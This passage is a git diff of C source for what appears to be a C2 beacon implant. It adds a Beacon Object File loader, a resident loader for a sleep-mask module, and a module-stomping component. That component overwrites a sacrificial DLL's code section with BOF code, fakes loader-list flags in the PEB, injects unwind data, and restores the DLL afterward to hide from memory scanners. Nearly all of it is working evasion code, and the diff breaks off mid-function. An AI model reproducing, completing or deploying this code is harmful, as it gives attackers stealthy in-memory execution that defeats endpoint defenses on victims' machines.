Nax->Ntdll.RtlAddFunctionTable( pdataTable, pdataCount, (DWORD64)image_base ); + NaxDbg( Nax, "[bof] .pdata %s: %u entries base=%p xdata=%p(%u)", + pdataInDll ? "injected into DLL" : "registered dynamic", + pdataCount, (PVOID)image_base, xdataBase, xdataSize ); + break; + } + } + } + + /* ---- 3b. set final memory protections ---- */ + if ( stomped ) { + NaxBofStompProtect( Nax, mapSections, hdr->NumberOfSections, sections ); + NaxDbg( Nax, "[bof] step 3b: stomp protections OK (.text=RX, rest=RW)" ); + } else { + /* Blanket RWX - fine-grained RX/RO crashes: unwind machinery may write + * through .pdata/.xdata before control reaches the first BOF call. */ + NaxDbg( Nax, "[bof] step 3b: set PAGE_EXECUTE_READWRITE on all sections" ); + for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) { + if ( !mapSections[i] ) continue; + PVOID base = mapSections[i]; + SIZE_T sz = (SIZE_T)( sections[i].SizeOfRawData + 16 ); + ULONG old = 0; + NTSTATUS st = Nax->Ntdll.NtProtectVirtualMemory( NtCurrentProcess(), &base, &sz, PAGE_EXECUTE_READWRITE, &old ); + NaxDbg( Nax, "[bof] sec[%d] '%.8s' RWX st=0x%x", (INT)i, sections[i].Name, (UINT32)st ); + } + NaxDbg( Nax, "[bof] step 3b: protections OK" ); + } + + /* ---- 4. find entry point ---- */ + NaxDbg( Nax, "[bof] step 4: find 'go'" ); + PVOID entry = NaxBofFindEntry( Nax, hdr, symtab, strtab, mapSections ); + if ( !entry ) { + NaxDbg( Nax, "[bof] entry FAILED" ); + if ( pdataTable && !pdataInDll ) Nax->Ntdll.RtlDeleteFunctionTable( pdataTable ); + NaxBofCleanupSections( Nax, mapSections, hdr->NumberOfSections, stomped ); + if ( mf_base ) { SIZE_T _z=0; PVOID _b=mf_base; Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &_b, &_z, MEM_RELEASE ); } + BeaconOutput( CALLBACK_ERROR, "go", 2 ); + return NAX_ERR_FAIL; + } + NaxDbg( Nax, "[bof] entry OK: %p", entry ); + + /* Record stomp metadata for operator feedback */ + Nax->BofCtx.Stomped = stomped ? 0x01 : 0x00; + Nax->BofCtx.StompSlot = stomped ? ( Nax->CurrentJob ? Nax->CurrentJob->StompSlotIdx : 0xFF ) : 0x00; + + /* ---- 5. execute BOF ---- */ + if ( stomped && Nax->CfgEnabled ) { + BOF_STOMP_SLOT* cfgSlot = NULL; + if ( Nax->BofStompPool.SmStompReq ) + cfgSlot = &Nax->BofStompPool.SmSlot; + else if ( Nax->CurrentJob == NULL ) + cfgSlot = &Nax->BofStompPool.SyncSlot; + else if ( Nax->CurrentJob->StompSlotIdx < Nax->BofStompPool.AsyncCount ) + cfgSlot = &Nax->BofStompPool.AsyncSlots[ Nax->CurrentJob->StompSlotIdx ]; + if ( cfgSlot ) + NaxCfgAddTarget( Nax, cfgSlot->DllBase, entry ); + } + + NaxDbg( Nax, "[bof] calling go(%p, %u)", user_args, user_args_size ); + void ( *go )( char*, unsigned long ) = (void(*)( char*, unsigned long ))entry; + go( (char*)user_args, (unsigned long)user_args_size ); + NaxDbg( Nax, "[bof] go returned, output=%u bytes", Nax->BofCtx.Len ); + + if ( pdataTable && !pdataInDll ) Nax->Ntdll.RtlDeleteFunctionTable( pdataTable ); + + /* ---- 6. cleanup ---- */ + NaxBofCleanupSections( Nax, mapSections, hdr->NumberOfSections, stomped ); + if ( mf_base ) { + SIZE_T _z = 0; PVOID _b = mf_base; + Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &_b, &_z, MEM_RELEASE ); + } + NaxDbg( Nax, "[bof] done" ); + return NAX_OK; +} + +/* ========= [ resident BOF: load + keep alive ] ========= */ + +/* Find a named symbol (e.g. "sleep_mask") instead of hardcoded "go". */ +static PVOID NaxBofFindSymbol( PNAX_INSTANCE Nax, PCOF_HEADER hdr, PCOF_SYMBOL symtab, + PCHAR strtab, PVOID* mapSections, PCHAR target ) { + UINT32 tlen = NaxStrLen( target ); + for ( UINT32 i = 0; i < hdr->NumberOfSymbols; i++ ) { + PCOF_SYMBOL sym = symtab + i; + if ( sym->SectionNumber <= 0 ) { + i += sym->NumberOfAuxSymbols; + continue; + } + PCHAR name = SymName( sym, strtab ); + BOOL match = TRUE; + for ( UINT32 k = 0; k <= tlen; k++ ) { + if ( name[k] != target[k] ) { match = FALSE; break; } + } + if ( match ) { + INT secIdx = sym->SectionNumber - 1; + if ( secIdx < BOF_MAX_SECTIONS && mapSections[secIdx] ) { + PVOID entry = (PVOID)( (ULONG_PTR)mapSections[secIdx] + sym->Value ); + NaxDbg( Nax, "[bof] symbol '%s' found: sec[%d]+0x%x = %p", target, secIdx, (UINT32)sym->Value, entry ); + return entry; + } + } + i += sym->NumberOfAuxSymbols; + } + NaxDbg( Nax, "[bof] symbol '%s' NOT FOUND", target ); + return NULL; +} + +FUNC PVOID NaxBofLoadResident( PNAX_INSTANCE Nax, + PBYTE bof, UINT32 bof_size, + PCHAR sym_name ) { + if ( bof_size < sizeof( COF_HEADER ) ) return NULL; + + NaxBofFreeResident( Nax ); + + PCOF_HEADER hdr = (PCOF_HEADER)bof; + PCOF_SECTION sections = (PCOF_SECTION)( bof + sizeof( COF_HEADER ) ); + PCOF_SYMBOL symtab = (PCOF_SYMBOL)( bof + hdr->PointerToSymbolTable ); + PCHAR strtab = (PCHAR)( symtab + hdr->NumberOfSymbols ); + + NaxDbg( Nax, "[bof-resident] load: %u bytes sections=%u symbols=%u", + bof_size, (UINT32)hdr->NumberOfSections, (UINT32)hdr->NumberOfSymbols ); + + if ( hdr->Machine != COF_MACHINE_AMD64 ) return NULL; + + NAX_BOF_API bofApiTable[ NAX_BOF_API_COUNT ]; + NaxBofInitApiTable( bofApiTable, Nax ); + + PVOID mapSections[ BOF_MAX_SECTIONS ]; + MmZero( mapSections, sizeof( mapSections ) ); + + PVOID mf_base = NULL; + UINT32 mf_idx = 0; + BOOL stomped = FALSE; + + /* Route alloc/protect/pdata/free to the dedicated SmSlot */ + Nax->BofStompPool.SmStompReq = TRUE; + + if ( NaxBofAllocSections( Nax, bof, hdr, sections, mapSections, &mf_base, &stomped ) != NAX_OK ) { + NaxDbg( Nax, "[bof-resident] alloc FAILED" ); + Nax->BofStompPool.SmStompReq = FALSE; + return NULL; + } + + ULONG_PTR image_base = (ULONG_PTR)~0ULL; + for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) { + if ( mapSections[i] && (ULONG_PTR)mapSections[i] < image_base ) + image_base = (ULONG_PTR)mapSections[i]; + } + if ( mf_base && (ULONG_PTR)mf_base < image_base ) + image_base = (ULONG_PTR)mf_base; + + if ( NaxBofProcessRelocations( Nax, bof, hdr, sections, + symtab, strtab, mapSections, bofApiTable, + (PUINT64)mf_base, &mf_idx, image_base ) != NAX_OK ) { + NaxBofCleanupSections( Nax, mapSections, hdr->NumberOfSections, stomped ); + if ( mf_base ) { SIZE_T z=0; PVOID b=mf_base; Nax->Ntdll.NtFreeVirtualMemory(NtCurrentProcess(),&b,&z,MEM_RELEASE); } + Nax->BofStompPool.SmStompReq = FALSE; + return NULL; + } + + /* register .pdata */ + PRUNTIME_FUNCTION pdataTable = NULL; + DWORD pdataCount = 0; + BOOL pdataInDll = FALSE; + if ( stomped ) { + for ( UINT16 pi = 0; pi < hdr->NumberOfSections && pi < BOF_MAX_SECTIONS; pi++ ) { + PCOF_SECTION ps = sections + pi; + if ( ps->Name[0] == '.' && ps->Name[1] == 'p' && ps->Name[2] == 'd' && + ps->Name[3] == 'a' && ps->Name[4] == 't' && ps->Name[5] == 'a' && + mapSections[pi] && ps->SizeOfRawData >= 12 ) { + pdataTable = (PRUNTIME_FUNCTION)mapSections[pi]; + pdataCount = ps->SizeOfRawData / sizeof( RUNTIME_FUNCTION ); + PVOID xdataBase = NULL; + ULONG xdataSize = 0; + ULONG_PTR firstUnwindVA = image_base + pdataTable[0].UnwindData; + for ( UINT16 xi = 0; xi < hdr->NumberOfSections && xi < BOF_MAX_SECTIONS; xi++ ) { + if ( !mapSections[xi] ) continue; + UINT32 secSz = sections[xi].SizeOfRawData; + if ( secSz == 0 ) secSz = sections[xi].VirtualSize; + if ( firstUnwindVA >= (ULONG_PTR)mapSections[xi] && + firstUnwindVA < (ULONG_PTR)mapSections[xi] + secSz ) { + xdataBase = mapSections[xi]; + xdataSize = secSz; + break; + } + } + pdataInDll = NaxBofStompPdata( Nax, pdataTable, pdataCount, image_base, + xdataBase, xdataSize ); + if ( !pdataInDll ) + Nax->Ntdll.RtlAddFunctionTable( pdataTable, pdataCount, (DWORD64)image_base ); + break; + } + } + } + + /* set protections */ + if ( stomped ) { + NaxBofStompProtect( Nax, mapSections, hdr->NumberOfSections, sections ); + } else { + for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) { + if ( !mapSections[i] ) continue; + PVOID base = mapSections[i]; + SIZE_T sz = (SIZE_T)( sections[i].SizeOfRawData + 16 ); + ULONG old = 0; + Nax->Ntdll.NtProtectVirtualMemory( NtCurrentProcess(), &base, &sz, + PAGE_EXECUTE_READWRITE, &old ); + } + } + + /* find named symbol */ + PVOID entry = NaxBofFindSymbol( Nax, hdr, symtab, strtab, mapSections, sym_name ); + if ( !entry ) { + if ( pdataTable && !pdataInDll ) Nax->Ntdll.RtlDeleteFunctionTable( pdataTable ); + NaxBofCleanupSections( Nax, mapSections, hdr->NumberOfSections, stomped ); + if ( mf_base ) { SIZE_T z=0; PVOID b=mf_base; Nax->Ntdll.NtFreeVirtualMemory(NtCurrentProcess(),&b,&z,MEM_RELEASE); } + Nax->BofStompPool.SmStompReq = FALSE; + return NULL; + } + + Nax->BofStompPool.SmStompReq = FALSE; + + /* persist state for later cleanup */ + for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) + Nax->ResidentSections[i] = mapSections[i]; + Nax->ResidentNumSections = hdr->NumberOfSections; + Nax->ResidentMapFunc = mf_base; + Nax->ResidentStomped = stomped; + Nax->ResidentPdata = pdataTable; + Nax->ResidentPdataCount = pdataCount; + Nax->ResidentPdataInDll = pdataInDll; + + NaxDbg( Nax, "[bof-resident] loaded '%s' at %p (stomped=%d sm_slot=%d)", + sym_name, entry, (INT)stomped, (INT)(stomped && Nax->BofStompPool.SmSlot.InUse) ); + return entry; +} + +FUNC VOID NaxBofFreeResident( PNAX_INSTANCE Nax ) { + if ( !Nax->ResidentNumSections ) + return; + + NaxDbg( Nax, "[bof-resident] freeing" ); + + /* Un-gate APIs BEFORE cleanup - NaxBofStompFree calls VirtualProtect + on the SmSlot .text where the sleepmask code lives. If VP is gated + the sleepmask would VirtualProtect its own page to RW, removing + execute permission, then DEP-crash on the next instruction. + NaxSleepmaskWire re-gates them when a new BOF is loaded. */ + NaxGateUnwireAll( Nax ); + + /* Route cleanup to SmSlot if the resident was stomped there */ + Nax->BofStompPool.SmStompReq = TRUE; + + if ( Nax->ResidentPdata && !Nax->ResidentPdataInDll ) + Nax->Ntdll.RtlDeleteFunctionTable( Nax->ResidentPdata ); + + NaxBofCleanupSections( Nax, Nax->ResidentSections, + Nax->ResidentNumSections, Nax->ResidentStomped ); + + if ( Nax->ResidentMapFunc ) { + SIZE_T z = 0; PVOID b = Nax->ResidentMapFunc; + Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &b, &z, MEM_RELEASE ); + } + + Nax->BofStompPool.SmStompReq = FALSE; + + MmZero( Nax->ResidentSections, sizeof( Nax->ResidentSections ) ); + Nax->ResidentNumSections = 0; + Nax->ResidentMapFunc = NULL; + Nax->ResidentStomped = FALSE; + Nax->ResidentPdata = NULL; + Nax->ResidentPdataCount = 0; + Nax->ResidentPdataInDll = FALSE; +} diff --git a/src_beacon/src/Bof/Stomp.c b/src_beacon/src/Bof/Stomp.c new file mode 100644 index 0000000..be33461 --- /dev/null +++ b/src_beacon/src/Bof/Stomp.c @@ -0,0 +1,432 @@ +/* beacon/src/Bof/Stomp.c + * BOF module stomping - execute BOF .text from image-backed memory. + * + * LoadLibraryExW(DONT_RESOLVE_DLL_REFERENCES) loads a sacrificial DLL without + * calling DllMain or resolving imports, giving us a clean IMG-backed .text + * section to stomp with BOF code. .text gets RW during setup, RX for exec; + * non-.text sections stay in private PAGE_READWRITE memory. */ + +#include "Macros.h" +#include "Instance.h" +#include "Bof.h" +#include "LdrFlags.h" + +/* ========= [ helpers ] ========= */ + +static VOID StompPatchLdr( BOF_STOMP_SLOT* slot ) { + PNAX_PEB Peb = NaxCurrentPeb(); + PLIST_ENTRY Head = &Peb->Ldr->InLoadOrderModuleList; + PLIST_ENTRY Cur = Head->Flink; + + while ( Cur != Head ) { + PNAX_LDR_ENTRY Entry = (PNAX_LDR_ENTRY)Cur; + if ( Entry->DllBase == slot->DllBase ) { + Entry->EntryPoint = C_PTR( U_PTR( slot->DllBase ) + slot->Nt->OptionalHeader.AddressOfEntryPoint ); + Entry->Flags |= LDRP_IMAGE_DLL | LDRP_LOAD_NOTIFICATIONS_SENT | + LDRP_PROCESS_STATIC_IMPORT | LDRP_ENTRY_PROCESSED; + return; + } + Cur = Cur->Flink; + } +} + +static BOOL StompInitSlot( PNAX_INSTANCE Nax, PWCHAR dllName, BOF_STOMP_SLOT* slot ) { + HMODULE hDll = Nax->Kernel32.LoadLibraryExW( dllName, NULL, DONT_RESOLVE_DLL_REFERENCES ); + if ( !hDll ) { + NaxDbg( Nax, "[bof-stomp] LoadLibraryExW failed for DLL" ); + return FALSE; + } + + slot->DllBase = (PVOID)hDll; + + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hDll; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)( (PBYTE)hDll + dos->e_lfanew ); + slot->Nt = nt; + + PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION( nt ); + for ( UINT16 i = 0; i < nt->FileHeader.NumberOfSections; i++ ) { + if ( sec[i].Name[0] == '.' && sec[i].Name[1] == 't' && + sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' && + sec[i].Name[4] == 't' ) { + slot->TextBase = (PVOID)( (PBYTE)hDll + sec[i].VirtualAddress ); + slot->TextCap = sec[i].SizeOfRawData; + if ( slot->TextCap == 0 ) + slot->TextCap = sec[i].Misc.VirtualSize; + slot->InUse = FALSE; + + /* Back up original .text so the DLL looks untouched between executions */ + slot->TextBackup = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, slot->TextCap ); + if ( slot->TextBackup ) + MmCopy( slot->TextBackup, slot->TextBase, slot->TextCap ); + + /* Cache .pdata location and back up original content. + * .pdata is zeroed per-execution so dynamic RtlAddFunctionTable + * entries take priority, then restored when the BOF finishes. */ + PIMAGE_DATA_DIRECTORY exDir = &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]; + if ( exDir->VirtualAddress && exDir->Size ) { + slot->PdataBase = (PVOID)( (PBYTE)hDll + exDir->VirtualAddress ); + slot->PdataSize = exDir->Size; + slot->PdataBackup = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, exDir->Size ); + if ( slot->PdataBackup ) + MmCopy( slot->PdataBackup, slot->PdataBase, exDir->Size ); + } + + StompPatchLdr( slot ); + + NaxDbg( Nax, "[bof-stomp] slot: dll=%p .text=%p cap=%u", hDll, slot->TextBase, slot->TextCap ); + return TRUE; + } + } + + Nax->Kernel32.FreeLibrary( hDll ); + slot->DllBase = NULL; + NaxDbg( Nax, "[bof-stomp] no .text section found" ); + return FALSE; +} + +/* ========= [ near allocator ] ========= */ + +/* Allocate 'need' bytes within ±16 MB of the stomp DLL image. + * Keeps REL32 displacements from .text well within ±2 GB. */ +static PVOID StompAllocNear( PNAX_INSTANCE Nax, BOF_STOMP_SLOT* slot, SIZE_T need, ULONG protect ) { + ULONG_PTR dll_end = (ULONG_PTR)slot->DllBase + slot->Nt->OptionalHeader.SizeOfImage; + ULONG_PTR fwd_base = ( dll_end + 0xFFFF ) & ~(ULONG_PTR)0xFFFF; + + for ( UINT32 i = 0; i < 256; i++ ) { + PVOID base = (PVOID)( fwd_base + (ULONG_PTR)i * 0x10000 ); + SIZE_T sz = need; + NTSTATUS st = Nax->Ntdll.NtAllocateVirtualMemory( + NtCurrentProcess(), &base, 0, &sz, + MEM_COMMIT | MEM_RESERVE, protect ); + if ( NT_SUCCESS( st ) ) return base; + } + + ULONG_PTR bwd_base = (ULONG_PTR)slot->DllBase & ~(ULONG_PTR)0xFFFF; + for ( UINT32 i = 1; i <= 256 && bwd_base >= (ULONG_PTR)i * 0x10000; i++ ) { + PVOID base = (PVOID)( bwd_base - (ULONG_PTR)i * 0x10000 ); + SIZE_T sz = need; + NTSTATUS st = Nax->Ntdll.NtAllocateVirtualMemory( + NtCurrentProcess(), &base, 0, &sz, + MEM_COMMIT | MEM_RESERVE, protect ); + if ( NT_SUCCESS( st ) ) return base; + } + + return NULL; +} + +/* ========= [ init ] ========= */ + +FUNC VOID NaxBofStompInit( PNAX_INSTANCE Nax ) { + if ( !Nax->Config.BofStomp ) + return; + + NaxDbg( Nax, "[bof-stomp] init: sync=%ls async_count=%d", + Nax->Config.BofSyncDll, (INT)Nax->Config.BofAsyncCount ); + + StompInitSlot( Nax, Nax->Config.BofSyncDll, &Nax->BofStompPool.SyncSlot ); + + BYTE count = Nax->Config.BofAsyncCount; + if ( count > BOF_STOMP_ASYNC_MAX ) + count = BOF_STOMP_ASYNC_MAX; + + for ( BYTE i = 0; i < count; i++ ) { + if ( StompInitSlot( Nax, Nax->Config.BofAsyncDlls[i], &Nax->BofStompPool.AsyncSlots[i] ) ) + Nax->BofStompPool.AsyncCount++; + } + + if ( Nax->Config.SmStompDll[0] ) { + StompInitSlot( Nax, Nax->Config.SmStompDll, &Nax->BofStompPool.SmSlot ); + NaxDbg( Nax, "[bof-stomp] sm_slot: dll=%p .text=%p cap=%u", + Nax->BofStompPool.SmSlot.DllBase, + Nax->BofStompPool.SmSlot.TextBase, + Nax->BofStompPool.SmSlot.TextCap ); + } + + Nax->BofStompPool.Initialized = TRUE; + NaxDbg( Nax, "[bof-stomp] init done: sync=%p async=%d/%d sm=%p", + Nax->BofStompPool.SyncSlot.DllBase, Nax->BofStompPool.AsyncCount, count, + Nax->BofStompPool.SmSlot.DllBase ); +} + +/* ========= [ alloc ] ========= */ + +FUNC BOOL NaxBofStompAlloc( PNAX_INSTANCE Nax, PBYTE bof, PCOF_HEADER hdr, + PCOF_SECTION sections, PVOID* mapSections, + PVOID* mf_out ) { + if ( !Nax->Config.BofStomp || !Nax->BofStompPool.Initialized ) + return FALSE; + + /* Find the .text section index in the COFF */ + INT textIdx = -1; + UINT32 textNeed = 0; + for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) { + PCOF_SECTION s = sections + i; + if ( s->Name[0] == '.' && s->Name[1] == 't' && + s->Name[2] == 'e' && s->Name[3] == 'x' && + s->Name[4] == 't' ) { + textIdx = (INT)i; + textNeed = s->SizeOfRawData; + if ( textNeed == 0 ) textNeed = s->VirtualSize; + break; + } + } + if ( textIdx < 0 || textNeed == 0 ) + return FALSE; + + /* Pick a slot: SmSlot (resident BOF), sync (CurrentJob==NULL), or async */ + BOF_STOMP_SLOT* slot = NULL; + BYTE slotIdx = 0xFF; + + if ( Nax->BofStompPool.SmStompReq ) { + if ( Nax->BofStompPool.SmSlot.DllBase && !Nax->BofStompPool.SmSlot.InUse && + textNeed <= Nax->BofStompPool.SmSlot.TextCap ) { + slot = &Nax->BofStompPool.SmSlot; + slotIdx = 0xFE; + } + } else if ( Nax->CurrentJob == NULL ) { + if ( Nax->BofStompPool.SyncSlot.DllBase && !Nax->BofStompPool.SyncSlot.InUse && + textNeed <= Nax->BofStompPool.SyncSlot.TextCap ) { + slot = &Nax->BofStompPool.SyncSlot; + slotIdx = 0xFF; + } + } else { + for ( BYTE i = 0; i < Nax->BofStompPool.AsyncCount; i++ ) { + BOF_STOMP_SLOT* s = &Nax->BofStompPool.AsyncSlots[i]; + if ( s->DllBase && !s->InUse && textNeed <= s->TextCap ) { + slot = s; + slotIdx = i; + break; + } + } + } + + if ( !slot ) { + NaxDbg( Nax, "[bof-stomp] no slot available (need=%u) -> fallback", textNeed ); + return FALSE; + } + + /* Stomp .text into DLL's .text section */ + DWORD old = 0; + if ( !Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_READWRITE, &old ) ) { + NaxDbg( Nax, "[bof-stomp] VirtualProtect RW failed" ); + return FALSE; + } + + MmZero( slot->TextBase, slot->TextCap ); + PCOF_SECTION textSec = sections + textIdx; + if ( textSec->PointerToRawData && textSec->SizeOfRawData ) + MmCopy( slot->TextBase, bof + textSec->PointerToRawData, textSec->SizeOfRawData ); + mapSections[ textIdx ] = slot->TextBase; + + /* Allocate non-.text sections NEAR the DLL (within ±2 GB for REL32) */ + for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) { + if ( (INT)i == textIdx ) continue; + PCOF_SECTION s = sections + i; + + UINT32 raw_size = s->SizeOfRawData; + UINT32 virt_size = s->VirtualSize; + UINT32 need = ( raw_size > 0 ) ? raw_size : virt_size; + if ( need == 0 ) { mapSections[i] = NULL; continue; } + + PVOID base = StompAllocNear( Nax, slot, (SIZE_T)need + 16, PAGE_READWRITE ); + if ( !base ) { + NaxDbg( Nax, "[bof-stomp] near-alloc failed sec[%d]", (INT)i ); + for ( UINT16 j = 0; j < i; j++ ) { + if ( (INT)j != textIdx && mapSections[j] ) { + PVOID b = mapSections[j]; SIZE_T sz = 0; + Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &b, &sz, MEM_RELEASE ); + mapSections[j] = NULL; + } + } + mapSections[textIdx] = NULL; + if ( slot->TextBackup ) + MmCopy( slot->TextBase, slot->TextBackup, slot->TextCap ); + else + MmZero( slot->TextBase, slot->TextCap ); + Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_EXECUTE_READ, &old ); + return FALSE; + } + + mapSections[i] = base; + if ( s->PointerToRawData && raw_size ) + MmCopy( base, bof + s->PointerToRawData, raw_size ); + } + + /* Allocate mapFunctions near the DLL */ + PVOID mf = StompAllocNear( Nax, slot, 4096, PAGE_READWRITE ); + if ( !mf ) { + NaxDbg( Nax, "[bof-stomp] mapFunctions near-alloc failed" ); + for ( UINT16 j = 0; j < hdr->NumberOfSections && j < BOF_MAX_SECTIONS; j++ ) { + if ( (INT)j != textIdx && mapSections[j] ) { + PVOID b = mapSections[j]; SIZE_T sz = 0; + Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &b, &sz, MEM_RELEASE ); + mapSections[j] = NULL; + } + } + mapSections[textIdx] = NULL; + if ( slot->TextBackup ) + MmCopy( slot->TextBase, slot->TextBackup, slot->TextCap ); + else + MmZero( slot->TextBase, slot->TextCap ); + Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_EXECUTE_READ, &old ); + return FALSE; + } + MmZero( mf, 4096 ); + *mf_out = mf; + + /* Zero .pdata so dynamic RtlAddFunctionTable entries take priority */ + if ( slot->PdataBase && slot->PdataSize ) { + DWORD pdOld = 0; + Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, PAGE_READWRITE, &pdOld ); + MmZero( slot->PdataBase, slot->PdataSize ); + Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, pdOld, &pdOld ); + } + + slot->InUse = TRUE; + if ( Nax->CurrentJob ) + Nax->CurrentJob->StompSlotIdx = slotIdx; + + NaxDbg( Nax, "[bof-stomp] alloc OK: .text=%p mf=%p (slot=%d, need=%u cap=%u)", + slot->TextBase, mf, (INT)slotIdx, textNeed, slot->TextCap ); + return TRUE; +} + +/* Called after relocations to set final protections: + * .text in DLL -> PAGE_EXECUTE_READ; private sections stay PAGE_READWRITE. */ +FUNC VOID NaxBofStompProtect( PNAX_INSTANCE Nax, PVOID* mapSections, UINT16 numSections, + PCOF_SECTION sections ) { + BOF_STOMP_SLOT* slot = NULL; + if ( Nax->BofStompPool.SmStompReq ) + slot = &Nax->BofStompPool.SmSlot; + else if ( Nax->CurrentJob == NULL ) + slot = &Nax->BofStompPool.SyncSlot; + else if ( Nax->CurrentJob->StompSlotIdx < Nax->BofStompPool.AsyncCount ) + slot = &Nax->BofStompPool.AsyncSlots[ Nax->CurrentJob->StompSlotIdx ]; + + if ( !slot ) return; + + DWORD old = 0; + Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_EXECUTE_READ, &old ); + NaxDbg( Nax, "[bof-stomp] .text -> RX" ); +} + +/* ========= [ inject .pdata into DLL ] ========= */ + +/* Write the BOF's relocated RUNTIME_FUNCTION entries directly into the DLL's + * .pdata section and copy the corresponding xdata (UNWIND_INFO) into the tail + * of the DLL's .text section. The IFT already covers .pdata, so the unwinder + * finds our entries without RtlAddFunctionTable. + * + * xdata is placed at the END of .text (after the BOF code). This keeps + * UnwindData RVAs within the DLL image even when the near-allocator placed the + * original xdata section before DllBase. + * + * Caller must invoke this while .text is still PAGE_READWRITE. */ +FUNC BOOL NaxBofStompPdata( PNAX_INSTANCE Nax, PRUNTIME_FUNCTION src, DWORD srcCount, + ULONG_PTR image_base, PVOID xdataBase, ULONG xdataSize ) { + BOF_STOMP_SLOT* slot = NULL; + if ( Nax->BofStompPool.SmStompReq ) + slot = &Nax->BofStompPool.SmSlot; + else if ( Nax->CurrentJob == NULL ) + slot = &Nax->BofStompPool.SyncSlot; + else if ( Nax->CurrentJob->StompSlotIdx < Nax->BofStompPool.AsyncCount ) + slot = &Nax->BofStompPool.AsyncSlots[ Nax->CurrentJob->StompSlotIdx ]; + + if ( !slot || !slot->PdataBase || !slot->PdataSize ) + return FALSE; + + if ( !xdataBase || xdataSize == 0 ) + return FALSE; + + /* Place xdata copy at the tail of the DLL's .text (4-byte aligned). + * Typical .text is several MB, xdata is a few hundred bytes. */ + ULONG xdataAligned = ( xdataSize + 3 ) & ~3u; + if ( xdataAligned > slot->TextCap ) + return FALSE; + + ULONG xdataOff = slot->TextCap - xdataAligned; + PBYTE xdataDst = (PBYTE)slot->TextBase + xdataOff; + + MmCopy( xdataDst, xdataBase, xdataSize ); + + DWORD iftCount = slot->PdataSize / sizeof( RUNTIME_FUNCTION ); + if ( srcCount == 0 || srcCount > iftCount ) + return FALSE; + + DWORD startIdx = iftCount - srcCount; + PRUNTIME_FUNCTION dst = (PRUNTIME_FUNCTION)slot->PdataBase; + + DWORD pdOld = 0; + Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, PAGE_READWRITE, &pdOld ); + + /* BeginAddress/EndAddress: .text is within the DLL, so ULONG wrapping on + * (image_base - DllBase) produces correct RVAs even when image_base < DllBase. */ + ULONG adj = (ULONG)( image_base - (ULONG_PTR)slot->DllBase ); + + for ( DWORD i = 0; i < srcCount; i++ ) { + dst[ startIdx + i ].BeginAddress = src[i].BeginAddress + adj; + dst[ startIdx + i ].EndAddress = src[i].EndAddress + adj; + + /* UnwindData: recompute to point at the xdata copy in .text. */ + ULONG_PTR origVA = image_base + src[i].UnwindData; + ULONG_PTR internalOff = origVA - (ULONG_PTR)xdataBase; + dst[ startIdx + i ].UnwindData = (ULONG)( (ULONG_PTR)xdataDst + internalOff + - (ULONG_PTR)slot->DllBase ); + } + + Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, pdOld, &pdOld ); + + NaxDbg( Nax, "[bof-stomp] .pdata injected: %u entries at [%u..%u] adj=0x%x xdata@.text+0x%x", + srcCount, startIdx, startIdx + srcCount - 1, adj, xdataOff ); + return TRUE; +} + +/* ========= [ free ] ========= */ + +FUNC VOID NaxBofStompFree( PNAX_INSTANCE Nax, PVOID* mapSections, UINT16 numSections ) { + BOF_STOMP_SLOT* slot = NULL; + if ( Nax->BofStompPool.SmStompReq ) + slot = &Nax->BofStompPool.SmSlot; + else if ( Nax->CurrentJob == NULL ) + slot = &Nax->BofStompPool.SyncSlot; + else if ( Nax->CurrentJob->StompSlotIdx < Nax->BofStompPool.AsyncCount ) + slot = &Nax->BofStompPool.AsyncSlots[ Nax->CurrentJob->StompSlotIdx ]; + + if ( !slot || !slot->InUse ) return; + + /* Restore original DLL .text content */ + DWORD old = 0; + Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_READWRITE, &old ); + if ( slot->TextBackup ) + MmCopy( slot->TextBase, slot->TextBackup, slot->TextCap ); + else + MmZero( slot->TextBase, slot->TextCap ); + Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_EXECUTE_READ, &old ); + + /* Restore original .pdata content */ + if ( slot->PdataBase && slot->PdataSize && slot->PdataBackup ) { + DWORD pdOld = 0; + Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, PAGE_READWRITE, &pdOld ); + MmCopy( slot->PdataBase, slot->PdataBackup, slot->PdataSize ); + Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, pdOld, &pdOld ); + } + + /* Free private sections (non-.text) */ + for ( UINT16 i = 0; i < numSections && i < BOF_MAX_SECTIONS; i++ ) { + if ( mapSections[i] && mapSections[i] != slot->TextBase ) { + PVOID base = mapSections[i]; + SIZE_T sz = 0; + Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &base, &sz, MEM_RELEASE ); + } + mapSections[i] = NULL; + } + + slot->InUse = FALSE; + NaxDbg( Nax, "[bof-stomp] free: slot released" ); +} + +/* ========= [ active check ] ========= */ + +FUNC BOOL NaxBofStompActive( 